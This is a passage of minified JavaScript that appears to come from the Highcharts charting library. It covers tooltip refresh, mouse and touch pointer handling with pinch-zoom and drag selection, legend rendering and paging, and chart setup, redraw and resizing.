i=c.hoverPoints,m,l=e.crosshairs;h=this.shared;\nclearTimeout(this.hideTimer);this.followPointer=ha(a)[0].series.tooltipOptions.followPointer;g=this.getAnchor(a,b);f=g[0];g=g[1];h&&(!a.series||!a.series.noSharedTooltip)?(c.hoverPoints=a,i&&n(i,function(a){a.setState()}),n(a,function(a){a.setState(\"hover\");k.push(a.getLabelConfig())}),i={x:a[0].category,y:a[0].y},i.points=k,a=a[0]):i=a.getLabelConfig();j=j.call(i,this);i=a.series;h=h||!i.isCartesian||i.tooltipOutsidePlot||c.isInsidePlot(f,g);j===!1||!h?this.hide():(this.isHidden&&(Ta(d),d.attr(\"opacity\",\n1).show()),d.attr({text:j}),m=e.borderColor||a.color||i.color||\"#606060\",d.attr({stroke:m}),this.updatePosition({plotX:f,plotY:g}),this.isHidden=!1);if(l){l=ha(l);for(d=l.length;d--;)if(e=a.series[d?\"yAxis\":\"xAxis\"],l[d]&&e)if(h=d?o(a.stackY,a.y):a.x,e.isLog&&(h=ka(h)),e=e.getPlotLinePath(h,1),this.crosshairs[d])this.crosshairs[d].attr({d:e,visibility:\"visible\"});else{h={\"stroke-width\":l[d].width||1,stroke:l[d].color||\"#C0C0C0\",zIndex:l[d].zIndex||2};if(l[d].dashStyle)h.dashstyle=l[d].dashStyle;this.crosshairs[d]=\nc.renderer.path(e).attr(h).add()}}D(c,\"tooltipRefresh\",{text:j,x:f+c.plotLeft,y:g+c.plotTop,borderColor:m})},updatePosition:function(a){var b=this.chart,c=this.label,c=(this.options.positioner||this.getPosition).call(this,c.width,c.height,a);this.move(t(c.x),t(c.y),a.plotX+b.plotLeft,a.plotY+b.plotTop)}};qb.prototype={init:function(a,b){var c=$?\"\":b.chart.zoomType,d=a.inverted,e;this.options=b;this.chart=a;this.zoomX=e=/x/.test(c);this.zoomY=c=/y/.test(c);this.zoomHor=e&&!d||c&&d;this.zoomVert=c&&\n!d||e&&d;this.pinchDown=[];this.lastValidTouch={};if(b.tooltip.enabled)a.tooltip=new pb(a,b.tooltip);this.setDOMEvents()},normalize:function(a){var b,c,d,a=a||O.event;if(!a.target)a.target=a.srcElement;a=Pb(a);d=a.touches?a.touches.item(0):a;this.chartPosition=b=Tb(this.chart.container);d.pageX===x?(c=a.x,b=a.y):(c=d.pageX-b.left,b=d.pageY-b.top);return v(a,{chartX:t(c),chartY:t(b)})},getCoordinates:function(a){var b={xAxis:[],yAxis:[]};n(this.chart.axes,function(c){b[c.isXAxis?\"xAxis\":\"yAxis\"].push({axis:c,\nvalue:c.toValue(a[c.horiz?\"chartX\":\"chartY\"])})});return b},getIndex:function(a){var b=this.chart;return b.inverted?b.plotHeight+b.plotTop-a.chartY:a.chartX-b.plotLeft},runPointActions:function(a){var b=this.chart,c=b.series,d=b.tooltip,e,f=b.hoverPoint,g=b.hoverSeries,h,i,j=b.chartWidth,k=this.getIndex(a);if(d&&this.options.tooltip.shared&&(!g||!g.noSharedTooltip)){e=[];h=c.length;for(i=0;i<h;i++)if(c[i].visible&&c[i].options.enableMouseTracking!==!1&&!c[i].noSharedTooltip&&c[i].tooltipPoints.length&&\n(b=c[i].tooltipPoints[k],b.series))b._dist=Q(k-b.clientX),j=K(j,b._dist),e.push(b);for(h=e.length;h--;)e[h]._dist>j&&e.splice(h,1);if(e.length&&e[0].clientX!==this.hoverX)d.refresh(e,a),this.hoverX=e[0].clientX}if(g&&g.tracker){if((b=g.tooltipPoints[k])&&b!==f)b.onMouseOver(a)}else d&&d.followPointer&&!d.isHidden&&(a=d.getAnchor([{}],a),d.updatePosition({plotX:a[0],plotY:a[1]}))},reset:function(a){var b=this.chart,c=b.hoverSeries,d=b.hoverPoint,e=b.tooltip,b=e&&e.shared?b.hoverPoints:d;(a=a&&e&&b)&&\nha(b)[0].plotX===x&&(a=!1);if(a)e.refresh(b);else{if(d)d.onMouseOut();if(c)c.onMouseOut();e&&(e.hide(),e.hideCrosshairs());this.hoverX=null}},scaleGroups:function(a,b){var c=this.chart;n(c.series,function(d){d.xAxis.zoomEnabled&&(d.group.attr(a),d.markerGroup&&(d.markerGroup.attr(a),d.markerGroup.clip(b?c.clipRect:null)),d.dataLabelsGroup&&d.dataLabelsGroup.attr(a))});c.clipRect.attr(b||c.clipBox)},pinchTranslateDirection:function(a,b,c,d,e,f,g){var h=this.chart,i=a?\"x\":\"y\",j=a?\"X\":\"Y\",k=\"chart\"+\nj,m=a?\"width\":\"height\",l=h[\"plot\"+(a?\"Left\":\"Top\")],p,s,o=1,n=h.inverted,w=h.bounds[a?\"h\":\"v\"],q=b.length===1,t=b[0][k],r=c[0][k],v=!q&&b[1][k],u=!q&&c[1][k],x,c=function(){!q&&Q(t-v)>20&&(o=Q(r-u)/Q(t-v));s=(l-r)/o+t;p=h[\"plot\"+(a?\"Width\":\"Height\")]/o};c();b=s;b<w.min?(b=w.min,x=!0):b+p>w.max&&(b=w.max-p,x=!0);x?(r-=0.8*(r-g[i][0]),q||(u-=0.8*(u-g[i][1])),c()):g[i]=[r,u];n||(f[i]=s-l,f[m]=p);f=n?1/o:o;e[m]=p;e[i]=b;d[n?a?\"scaleY\":\"scaleX\":\"scale\"+j]=o;d[\"translate\"+j]=f*l+(r-f*t)},pinch:function(a){var b=\nthis,c=b.chart,d=b.pinchDown,e=c.tooltip.options.followTouchMove,f=a.touches,g=f.length,h=b.lastValidTouch,i=b.zoomHor||b.pinchHor,j=b.zoomVert||b.pinchVert,k=i||j,m=b.selectionMarker,l={},p={};a.type===\"touchstart\"&&e&&(b.inClass(a.target,\"highcharts-tracker\")?(!c.runTrackerClick||g>1)&&a.preventDefault():(!c.runChartClick||g>1)&&a.preventDefault());Ka(f,function(a){return b.normalize(a)});if(a.type===\"touchstart\")n(f,function(a,b){d[b]={chartX:a.chartX,chartY:a.chartY}}),h.x=[d[0].chartX,d[1]&&\nd[1].chartX],h.y=[d[0].chartY,d[1]&&d[1].chartY],n(c.axes,function(a){if(a.zoomEnabled){var b=c.bounds[a.horiz?\"h\":\"v\"],d=a.minPixelPadding,e=a.toPixels(a.dataMin),f=a.toPixels(a.dataMax),g=K(e,f),e=q(e,f);b.min=K(a.pos,g-d);b.max=q(a.pos+a.len,e+d)}});else if(d.length){if(!m)b.selectionMarker=m=v({destroy:ta},c.plotBox);i&&b.pinchTranslateDirection(!0,d,f,l,m,p,h);j&&b.pinchTranslateDirection(!1,d,f,l,m,p,h);b.hasPinched=k;b.scaleGroups(l,p);!k&&e&&g===1&&this.runPointActions(b.normalize(a))}},dragStart:function(a){var b=\nthis.chart;b.mouseIsDown=a.type;b.cancelClick=!1;b.mouseDownX=this.mouseDownX=a.chartX;this.mouseDownY=a.chartY},drag:function(a){var b=this.chart,c=b.options.chart,d=a.chartX,a=a.chartY,e=this.zoomHor,f=this.zoomVert,g=b.plotLeft,h=b.plotTop,i=b.plotWidth,j=b.plotHeight,k,m=this.mouseDownX,l=this.mouseDownY;d<g?d=g:d>g+i&&(d=g+i);a<h?a=h:a>h+j&&(a=h+j);this.hasDragged=Math.sqrt(Math.pow(m-d,2)+Math.pow(l-a,2));if(this.hasDragged>10){k=b.isInsidePlot(m-g,l-h);if(b.hasCartesianSeries&&(this.zoomX||\nthis.zoomY)&&k&&!this.selectionMarker)this.selectionMarker=b.renderer.rect(g,h,e?1:i,f?1:j,0).attr({fill:c.selectionMarkerFill||\"rgba(69,114,167,0.25)\",zIndex:7}).add();this.selectionMarker&&e&&(e=d-m,this.selectionMarker.attr({width:Q(e),x:(e>0?0:e)+m}));this.selectionMarker&&f&&(e=a-l,this.selectionMarker.attr({height:Q(e),y:(e>0?0:e)+l}));k&&!this.selectionMarker&&c.panning&&b.pan(d)}},drop:function(a){var b=this.chart,c=this.hasPinched;if(this.selectionMarker){var d={xAxis:[],yAxis:[],originalEvent:a.originalEvent||\na},e=this.selectionMarker,f=e.x,g=e.y,h;if(this.hasDragged||c)n(b.axes,function(a){if(a.zoomEnabled){var b=a.horiz,c=a.minPixelPadding,m=a.toValue((b?f:g)+c),b=a.toValue((b?f+e.width:g+e.height)-c);!isNaN(m)&&!isNaN(b)&&(d[a.xOrY+\"Axis\"].push({axis:a,min:K(m,b),max:q(m,b)}),h=!0)}}),h&&D(b,\"selection\",d,function(a){b.zoom(v(a,c?{animation:!1}:null))});this.selectionMarker=this.selectionMarker.destroy();c&&this.scaleGroups({translateX:b.plotLeft,translateY:b.plotTop,scaleX:1,scaleY:1})}if(b)L(b.container,\n{cursor:b._cursor}),b.cancelClick=this.hasDragged,b.mouseIsDown=this.hasDragged=this.hasPinched=!1,this.pinchDown=[]},onContainerMouseDown:function(a){a=this.normalize(a);a.preventDefault&&a.preventDefault();this.dragStart(a)},onDocumentMouseUp:function(a){this.drop(a)},onDocumentMouseMove:function(a){var b=this.chart,c=this.chartPosition,d=b.hoverSeries,a=Pb(a);c&&d&&d.isCartesian&&!b.isInsidePlot(a.pageX-c.left-b.plotLeft,a.pageY-c.top-b.plotTop)&&this.reset()},onContainerMouseLeave:function(){this.reset();\nthis.chartPosition=null},onContainerMouseMove:function(a){var b=this.chart,a=this.normalize(a);a.returnValue=!1;b.mouseIsDown===\"mousedown\"&&this.drag(a);b.isInsidePlot(a.chartX-b.plotLeft,a.chartY-b.plotTop)&&this.runPointActions(a)},inClass:function(a,b){for(var c;a;){if(c=A(a,\"class\"))if(c.indexOf(b)!==-1)return!0;else if(c.indexOf(\"highcharts-container\")!==-1)return!1;a=a.parentNode}},onTrackerMouseOut:function(a){var b=this.chart.hoverSeries;if(b&&!b.options.stickyTracking&&!this.inClass(a.toElement||\na.relatedTarget,\"highcharts-tooltip\"))b.onMouseOut()},onContainerClick:function(a){var b=this.chart,c=b.hoverPoint,d=b.plotLeft,e=b.plotTop,f=b.inverted,g,h,i,a=this.normalize(a);a.cancelBubble=!0;if(!b.cancelClick)c&&this.inClass(a.target,\"highcharts-tracker\")?(g=this.chartPosition,h=c.plotX,i=c.plotY,v(c,{pageX:g.left+d+(f?b.plotWidth-i:h),pageY:g.top+e+(f?b.plotHeight-h:i)}),D(c.series,\"click\",v(a,{point:c})),c.firePointEvent(\"click\",a)):(v(a,this.getCoordinates(a)),b.isInsidePlot(a.chartX-d,a.chartY-\ne)&&D(b,\"click\",a))},onContainerTouchStart:function(a){var b=this.chart;a.touches.length===1?(a=this.normalize(a),b.isInsidePlot(a.chartX-b.plotLeft,a.chartY-b.plotTop)&&(this.runPointActions(a),this.pinch(a))):a.touches.length===2&&this.pinch(a)},onContainerTouchMove:function(a){(a.touches.length===1||a.touches.length===2)&&this.pinch(a)},onDocumentTouchEnd:function(a){this.drop(a)},setDOMEvents:function(){var a=this,b=a.chart.container,c;this._events=c=[[b,\"onmousedown\",\"onContainerMouseDown\"],\n[b,\"onmousemove\",\"onContainerMouseMove\"],[b,\"onclick\",\"onContainerClick\"],[b,\"mouseleave\",\"onContainerMouseLeave\"],[z,\"mousemove\",\"onDocumentMouseMove\"],[z,\"mouseup\",\"onDocumentMouseUp\"]];fb&&c.push([b,\"ontouchstart\",\"onContainerTouchStart\"],[b,\"ontouchmove\",\"onContainerTouchMove\"],[z,\"touchend\",\"onDocumentTouchEnd\"]);n(c,function(b){a[\"_\"+b[2]]=function(c){a[b[2]](c)};b[1].indexOf(\"on\")===0?b[0][b[1]]=a[\"_\"+b[2]]:J(b[0],b[1],a[\"_\"+b[2]])})},destroy:function(){var a=this;n(a._events,function(b){b[1].indexOf(\"on\")===\n0?b[0][b[1]]=null:ba(b[0],b[1],a[\"_\"+b[2]])});delete a._events;clearInterval(a.tooltipTimeout)}};rb.prototype={init:function(a,b){var c=this,d=b.itemStyle,e=o(b.padding,8),f=b.itemMarginTop||0;this.options=b;if(b.enabled)c.baseline=u(d.fontSize)+3+f,c.itemStyle=d,c.itemHiddenStyle=y(d,b.itemHiddenStyle),c.itemMarginTop=f,c.padding=e,c.initialItemX=e,c.initialItemY=e-5,c.maxItemWidth=0,c.chart=a,c.itemHeight=0,c.lastLineHeight=0,c.render(),J(c.chart,\"endResize\",function(){c.positionCheckboxes()})},\ncolorizeItem:function(a,b){var c=this.options,d=a.legendItem,e=a.legendLine,f=a.legendSymbol,g=this.itemHiddenStyle.color,c=b?c.itemStyle.color:g,h=b?a.color:g,g=a.options&&a.options.marker,i={stroke:h,fill:h},j;d&&d.css({fill:c,color:c});e&&e.attr({stroke:h});if(f){if(g)for(j in g=a.convertAttribs(g),g)d=g[j],d!==x&&(i[j]=d);f.attr(i)}},positionItem:function(a){var b=this.options,c=b.symbolPadding,b=!b.rtl,d=a._legendItemPos,e=d[0],d=d[1],f=a.checkbox;a.legendGroup&&a.legendGroup.translate(b?e:this.legendWidth-\ne-2*c-4,d);if(f)f.x=e,f.y=d},destroyItem:function(a){var b=a.checkbox;n([\"legendItem\",\"legendLine\",\"legendSymbol\",\"legendGroup\"],function(b){a[b]&&a[b].destroy()});b&&Ra(a.checkbox)},destroy:function(){var a=this.group,b=this.box;if(b)this.box=b.destroy();if(a)this.group=a.destroy()},positionCheckboxes:function(a){var b=this.group.alignAttr,c,d=this.clipHeight||this.legendHeight;if(b)c=b.translateY,n(this.allItems,function(e){var f=e.checkbox,g;f&&(g=c+f.y+(a||0)+3,L(f,{left:b.translateX+e.legendItemWidth+\nf.x-20+\"px\",top:g+\"px\",display:g>c-6&&g<c+d-6?\"\":S}))})},renderTitle:function(){var a=this.padding,b=this.options.title,c=0;if(b.text){if(!this.title)this.title=this.chart.renderer.label(b.text,a-3,a-4,null,null,null,null,null,\"legend-title\").attr({zIndex:1}).css(b.style).add(this.group);c=this.title.getBBox().height;this.contentGroup.attr({translateY:c})}this.titleHeight=c},renderItem:function(a){var w;var b=this,c=b.chart,d=c.renderer,e=b.options,f=e.layout===\"horizontal\",g=e.symbolWidth,h=e.symbolPadding,\ni=b.itemStyle,j=b.itemHiddenStyle,k=b.padding,m=!e.rtl,l=e.width,p=e.itemMarginBottom||0,s=b.itemMarginTop,o=b.initialItemX,n=a.legendItem,t=a.series||a,r=t.options,v=r.showCheckbox,u=e.useHTML;if(!n&&(a.legendGroup=d.g(\"legend-item\").attr({zIndex:1}).add(b.scrollGroup),t.drawLegendSymbol(b,a),a.legendItem=n=d.text(e.labelFormat?Ea(e.labelFormat,a):e.labelFormatter.call(a),m?g+h:-h,b.baseline,u).css(y(a.visible?i:j)).attr({align:m?\"left\":\"right\",zIndex:2}).add(a.legendGroup),(u?n:a.legendGroup).on(\"mouseover\",\nfunction(){a.setState(\"hover\");n.css(b.options.itemHoverStyle)}).on(\"mouseout\",function(){n.css(a.visible?i:j);a.setState()}).on(\"click\",function(b){var c=function(){a.setVisible()},b={browserEvent:b};a.firePointEvent?a.firePointEvent(\"legendItemClick\",b,c):D(a,\"legendItemClick\",b,c)}),b.colorizeItem(a,a.visible),r&&v))a.checkbox=U(\"input\",{type:\"checkbox\",checked:a.selected,defaultChecked:a.selected},e.itemCheckboxStyle,c.container),J(a.checkbox,\"click\",function(b){D(a,\"checkboxClick\",{checked:b.target.checked},\nfunction(){a.select()})});d=n.getBBox();w=a.legendItemWidth=e.itemWidth||g+h+d.width+k+(v?20:0),e=w;b.itemHeight=g=d.height;if(f&&b.itemX-o+e>(l||c.chartWidth-2*k-o))b.itemX=o,b.itemY+=s+b.lastLineHeight+p,b.lastLineHeight=0;b.maxItemWidth=q(b.maxItemWidth,e);b.lastItemY=s+b.itemY+p;b.lastLineHeight=q(g,b.lastLineHeight);a._legendItemPos=[b.itemX,b.itemY];f?b.itemX+=e:(b.itemY+=s+g+p,b.lastLineHeight=g);b.offsetWidth=l||q(f?b.itemX-o:e,b.offsetWidth)},render:function(){var a=this,b=a.chart,c=b.renderer,\nd=a.group,e,f,g,h,i=a.box,j=a.options,k=a.padding,m=j.borderWidth,l=j.backgroundColor;a.itemX=a.initialItemX;a.itemY=a.initialItemY;a.offsetWidth=0;a.lastItemY=0;if(!d)a.group=d=c.g(\"legend\").attr({zIndex:7}).add(),a.contentGroup=c.g().attr({zIndex:1}).add(d),a.scrollGroup=c.g().add(a.contentGroup),a.clipRect=c.clipRect(0,0,9999,b.chartHeight),a.contentGroup.clip(a.clipRect);a.renderTitle();e=[];n(b.series,function(a){var b=a.options;b.showInLegend&&!r(b.linkedTo)&&(e=e.concat(a.legendItems||(b.legendType===\n\"point\"?a.data:a)))});Gb(e,function(a,b){return(a.options&&a.options.legendIndex||0)-(b.options&&b.options.legendIndex||0)});j.reversed&&e.reverse();a.allItems=e;a.display=f=!!e.length;n(e,function(b){a.renderItem(b)});g=j.width||a.offsetWidth;h=a.lastItemY+a.lastLineHeight+a.titleHeight;h=a.handleOverflow(h);if(m||l){g+=k;h+=k;if(i){if(g>0&&h>0)i[i.isNew?\"attr\":\"animate\"](i.crisp(null,null,null,g,h)),i.isNew=!1}else a.box=i=c.rect(0,0,g,h,j.borderRadius,m||0).attr({stroke:j.borderColor,\"stroke-width\":m||\n0,fill:l||S}).add(d).shadow(j.shadow),i.isNew=!0;i[f?\"show\":\"hide\"]()}a.legendWidth=g;a.legendHeight=h;n(e,function(b){a.positionItem(b)});f&&d.align(v({width:g,height:h},j),!0,\"spacingBox\");b.isResizing||this.positionCheckboxes()},handleOverflow:function(a){var b=this,c=this.chart,d=c.renderer,e=this.options,f=e.y,f=c.spacingBox.height+(e.verticalAlign===\"top\"?-f:f)-this.padding,g=e.maxHeight,h=this.clipRect,i=e.navigation,j=o(i.animation,!0),k=i.arrowSize||12,m=this.nav;e.layout===\"horizontal\"&&\n(f/=2);g&&(f=K(f,g));if(a>f&&!e.useHTML){this.clipHeight=c=f-20-this.titleHeight;this.pageCount=ja(a/c);this.currentPage=o(this.currentPage,1);this.fullHeight=a;h.attr({height:c});if(!m)this.nav=m=d.g().attr({zIndex:1}).add(this.group),this.up=d.symbol(\"triangle\",0,0,k,k).on(\"click\",function(){b.scroll(-1,j)}).add(m),this.pager=d.text(\"\",15,10).css(i.style).add(m),this.down=d.symbol(\"triangle-down\",0,0,k,k).on(\"click\",function(){b.scroll(1,j)}).add(m);b.scroll(0);a=f}else if(m)h.attr({height:c.chartHeight}),\nm.hide(),this.scrollGroup.attr({translateY:1}),this.clipHeight=0;return a},scroll:function(a,b){var c=this.pageCount,d=this.currentPage+a,e=this.clipHeight,f=this.options.navigation,g=f.activeColor,h=f.inactiveColor,f=this.pager,i=this.padding;d>c&&(d=c);if(d>0)b!==x&&Ha(b,this.chart),this.nav.attr({translateX:i,translateY:e+7+this.titleHeight,visibility:\"visible\"}),this.up.attr({fill:d===1?h:g}).css({cursor:d===1?\"default\":\"pointer\"}),f.attr({text:d+\"/\"+this.pageCount}),this.down.attr({x:18+this.pager.getBBox().width,\nfill:d===c?h:g}).css({cursor:d===c?\"default\":\"pointer\"}),e=-K(e*(d-1),this.fullHeight-e+i)+1,this.scrollGroup.animate({translateY:e}),f.attr({text:d+\"/\"+c}),this.currentPage=d,this.positionCheckboxes(e)}};sb.prototype={init:function(a,b){var c,d=a.series;a.series=null;c=y(N,a);c.series=a.series=d;var d=c.chart,e=d.margin,e=V(e)?e:[e,e,e,e];this.optionsMarginTop=o(d.marginTop,e[0]);this.optionsMarginRight=o(d.marginRight,e[1]);this.optionsMarginBottom=o(d.marginBottom,e[2]);this.optionsMarginLeft=\no(d.marginLeft,e[3]);this.runChartClick=(e=d.events)&&!!e.click;this.bounds={h:{},v:{}};this.callback=b;this.isResizing=0;this.options=c;this.axes=[];this.series=[];this.hasCartesianSeries=d.showAxes;var f=this,g;f.index=za.length;za.push(f);d.reflow!==!1&&J(f,\"load\",function(){f.initReflow()});if(e)for(g in e)J(f,g,e[g]);f.xAxis=[];f.yAxis=[];f.animation=$?!1:o(d.animation,!0);f.pointCount=0;f.counters=new Fb;f.firstRender()},initSeries:function(a){var b=this.options.chart;(b=aa[a.type||b.type||\nb.defaultSeriesType])||qa(17,!0);b=new b;b.init(this,a);return b},addSeries:function(a,b,c){var d,e=this;a&&(b=o(b,!0),D(e,\"addSeries\",{options:a},function(){d=e.initSeries(a);e.isDirtyLegend=!0;b&&e.redraw(c)}));return d},addAxis:function(a,b,c,d){var b=b?\"xAxis\":\"yAxis\",e=this.options;new ab(this,y(a,{index:this[b].length}));e[b]=ha(e[b]||{});e[b].push(a);o(c,!0)&&this.redraw(d)},isInsidePlot:function(a,b,c){var d=c?b:a,a=c?a:b;return d>=0&&d<=this.plotWidth&&a>=0&&a<=this.plotHeight},adjustTickAmounts:function(){this.options.chart.alignTicks!==\n!1&&n(this.axes,function(a){a.adjustTickAmount()});this.maxTicks=null},redraw:function(a){var b=this.axes,c=this.series,d=this.pointer,e=this.legend,f=this.isDirtyLegend,g,h=this.isDirtyBox,i=c.length,j=i,k=this.renderer,m=k.isHidden(),l=[];Ha(a,this);for(m&&this.cloneRenderTo();j--;)if(a=c[j],a.isDirty&&a.options.stacking){g=!0;break}if(g)for(j=i;j--;)if(a=c[j],a.options.stacking)a.isDirty=!0;n(c,function(a){a.isDirty&&a.options.legendType===\"point\"&&(f=!0)});if(f&&e.options.enabled)e.render(),this.isDirtyLegend=\n!1;if(this.hasCartesianSeries){if(!this.isResizing)this.maxTicks=null,n(b,function(a){a.setScale()});this.adjustTickAmounts();this.getMargins();n(b,function(a){if(a.isDirtyExtremes)a.isDirtyExtremes=!1,l.push(function(){D(a,\"afterSetExtremes\",a.getExtremes())});if(a.isDirty||h||g)a.redraw(),h=!0})}h&&this.drawChartBox();n(c,function(a){a.isDirty&&a.visible&&(!a.isCartesian||a.xAxis)&&a.redraw()});d&&d.reset&&d.reset(!0);k.draw();D(this,\"redraw\");m&&this.cloneRenderTo(!0);n(l,function(a){a.call()})},\nshowLoading:function(a){var b=this.options,c=this.loadingDiv,d=b.loading;if(!c)this.loadingDiv=c=U(wa,{className:\"highcharts-loading\"},v(d.style,{zIndex:10,display:S}),this.container),this.loadingSpan=U(\"span\",null,d.labelStyle,c);this.loadingSpan.innerHTML=a||b.lang.loading;if(!this.loadingShown)L(c,{opacity:0,display:\"\",left:this.plotLeft+\"px\",top:this.plotTop+\"px\",width:this.plotWidth+\"px\",height:this.plotHeight+\"px\"}),vb(c,{opacity:d.style.opacity},{duration:d.showDuration||0}),this.loadingShown=\n!0},hideLoading:function(){var a=this.options,b=this.loadingDiv;b&&vb(b,{opacity:0},{duration:a.loading.hideDuration||100,complete:function(){L(b,{display:S})}});this.loadingShown=!1},get:function(a){var b=this.axes,c=this.series,d,e;for(d=0;d<b.length;d++)if(b[d].options.id===a)return b[d];for(d=0;d<c.length;d++)if(c[d].options.id===a)return c[d];for(d=0;d<c.length;d++){e=c[d].points||[];for(b=0;b<e.length;b++)if(e[b].id===a)return e[b]}return null},getAxes:function(){var a=this,b=this.options,c=\nb.xAxis=ha(b.xAxis||{}),b=b.yAxis=ha(b.yAxis||{});n(c,function(a,b){a.index=b;a.isX=!0});n(b,function(a,b){a.index=b});c=c.concat(b);n(c,function(b){new ab(a,b)});a.adjustTickAmounts()},getSelectedPoints:function(){var a=[];n(this.series,function(b){a=a.concat(Ob(b.points||[],function(a){return a.selected}))});return a},getSelectedSeries:function(){return Ob(this.series,function(a){return a.selected})},showResetZoom:function(){var a=this,b=N.lang,c=a.options.chart.resetZoomButton,d=c.theme,e=d.states,\nf=c.relativeTo===\"chart\"?null:\"plotBox\";this.resetZoomButton=a.renderer.button(b.resetZoom,null,null,function(){a.zoomOut()},d,e&&e.hover).attr({align:c.position.align,title:b.resetZoomTitle}).add().align(c.position,!1,f)},zoomOut:function(){var a=this;D(a,\"selection\",{resetSelection:!0},function(){a.zoom()})},zoom:function(a){var b,c=this.pointer,d=!1,e;!a||a.resetSelection?n(this.axes,function(a){b=a.zoom()}):n(a.xAxis.concat(a.yAxis),function(a){var e=a.axis,h=e.isXAxis;if(c[h?\"zoomX\":\"zoomY\"]||\nc[h?\"pinchX\":\"pinchY\"])b=e.zoom(a.min,a.max),e.displayBtn&&(d=!0)});e=this.resetZoomButton;if(d&&!e)this.showResetZoom();else if(!d&&V(e))this.resetZoomButton=e.destroy();b&&this.redraw(o(this.options.chart.animation,a&&a.animation,this.pointCount<100))},pan:function(a){var b=this.xAxis[0],c=this.mouseDownX,d=b.pointRange/2,e=b.getExtremes(),f=b.translate(c-a,!0)+d,c=b.translate(c+this.plotWidth-a,!0)-d;(d=this.hoverPoints)&&n(d,function(a){a.setState()});b.series.length&&f>K(e.dataMin,e.min)&&c<\nq(e.dataMax,e.max)&&b.setExtremes(f,c,!0,!1,{trigger:\"pan\"});this.mouseDownX=a;L(this.container,{cursor:\"move\"})},setTitle:function(a,b){var f;var c=this,d=c.options,e;e=d.title=y(d.title,a);f=d.subtitle=y(d.subtitle,b),d=f;n([[\"title\",a,e],[\"subtitle\",b,d]],function(a){var b=a[0],d=c[b],e=a[1],a=a[2];d&&e&&(c[b]=d=d.destroy());a&&a.text&&!d&&(c[b]=c.renderer.text(a.text,0,0,a.useHTML).attr({align:a.align,\"class\":\"highcharts-\"+b,zIndex:a.zIndex||4}).css(a.style).add().align(a,!1,\"spacingBox\"))})},\ngetChartSize:function(){var a=this.options.chart,b=this.renderToClone||this.renderTo;this.containerWidth=gb(b,\"width\");this.containerHeight=gb(b,\"height\");this.chartWidth=q(0,a.width||this.containerWidth||600);this.chartHeight=q(0,o(a.height,this.containerHeight>19?this.containerHeight:400))},cloneRenderTo:function(a){var b=this.renderToClone,c=this.container;a?b&&(this.renderTo.appendChild(c),Ra(b),delete this.renderToClone):(c&&this.renderTo.removeChild(c),this.renderToClone=b=this.renderTo.cloneNode(0),\nL(b,{position:\"absolute\",top:\"-9999px\",display:\"block\"}),z.body.appendChild(b),c&&b.appendChild(c))},getContainer:function(){var a,b=this.options.chart,c,d,e;this.renderTo=a=b.renderTo;e=\"highcharts-\"+tb++;if(fa(a))this.renderTo=a=z.getElementById(a);a||qa(13,!0);c=u(A(a,\"data-highcharts-chart\"));!isNaN(c)&&za[c]&&za[c].destroy();A(a,\"data-highcharts-chart\",this.index);a.innerHTML=\"\";a.offsetWidth||this.cloneRenderTo();this.getChartSize();c=this.chartWidth;d=this.chartHeight;this.container=a=U(wa,\n{className:\"highcharts-container\"+(b.className?\" \"+b.className:\"\"),id:e},v({position:\"relative\",overflow:\"hidden\",width:c+\"px\",height:d+\"px\",textAlign:\"left\",lineHeight:\"normal\",zIndex:0},b.style),this.renderToClone||a);this._cursor=a.style.cursor;this.renderer=b.forExport?new Aa(a,c,d,!0):new Sa(a,c,d);$&&this.renderer.create(this,a,c,d)},getMargins:function(){var a=this.options.chart,b=a.spacingTop,c=a.spacingRight,d=a.spacingBottom,a=a.spacingLeft,e,f=this.legend,g=this.optionsMarginTop,h=this.optionsMarginLeft,\ni=this.optionsMarginRight,j=this.optionsMarginBottom,k=this.options.title,m=this.options.subtitle,l=this.options.legend,p=o(l.margin,10),s=l.x,t=l.y,B=l.align,w=l.verticalAlign;this.resetMargins();e=this.axisOffset;if((this.title||this.subtitle)&&!r(this.optionsMarginTop))if(m=q(this.title&&!k.floating&&!k.verticalAlign&&k.y||0,this.subtitle&&!m.floating&&!m.verticalAlign&&m.y||0))this.plotTop=q(this.plotTop,m+o(k.margin,15)+b);if(f.display&&!l.floating)if(B===\"right\"){if(!r(i))this.marginRight=q(this.marginRight,\nf.legendWidth-s+p+c)}else if(B===\"left\"){if(!r(h))this.plotLeft=q(this.plotLeft,f.legendWidth+s+p+a)}else if(w===\"top\"){if(!r(g))this.plotTop=q(this.plotTop,f.legendHeight+t+p+b)}else if(w===\"bottom\"&&!r(j))this.marginBottom=q(this.marginBottom,f.legendHeight-t+p+d);this.extraBottomMargin&&(this.marginBottom+=this.extraBottomMargin);this.extraTopMargin&&(this.plotTop+=this.extraTopMargin);this.hasCartesianSeries&&n(this.axes,function(a){a.getOffset()});r(h)||(this.plotLeft+=e[3]);r(g)||(this.plotTop+=\ne[0]);r(j)||(this.marginBottom+=e[2]);r(i)||(this.marginRight+=e[1]);this.setChartSize()},initReflow:function(){function a(a){var g=c.width||gb(d,\"width\"),h=c.height||gb(d,\"height\"),a=a?a.target:O;if(!b.hasUserSize&&g&&h&&(a===O||a===z)){if(g!==b.containerWidth||h!==b.containerHeight)clearTimeout(e),b.reflowTimeout=e=setTimeout(function(){if(b.container)b.setSize(g,h,!1),b.hasUserSize=null},100);b.containerWidth=g;b.containerHeight=h}}var b=this,c=b.options.chart,d=b.renderTo,e;J(O,\"resize\",a);J(b,\n\"destroy\",function(){ba(O,\"resize\",a)})},setSize:function(a,b,c){var d=this,e,f,g;d.isResizing+=1;g=function(){d&&D(d,\"endResize\",null,function(){d.isResizing-=1})};Ha(c,d);d.oldChartHeight=d.chartHeight;d.oldChartWidth=d.chartWidth;if(r(a))d.chartWidth=e=q(0,t(a)),d.hasUserSize=!!e;if(r(b))d.chartHeight=f=q(0,t(b));L(d.container,{width:e+\"px\",height:f+\"px\"});d.setChartSize(!0);d.renderer.setSize(e,f,c);d.maxTicks=null;n(d.axes,function(a){a.isDirty=!0;a.setScale()});n(d.series,function(a){a.isDirty=\n!0});d.isDirtyLegend=!0;d.isDirtyBox=!0;d.getMargins();d.redraw(c);d.oldChartHeight=null;D(d,\"resize\");xa===!1?g():setTimeout(g,xa&&xa.duration||500)},setChartSize:function(a){var 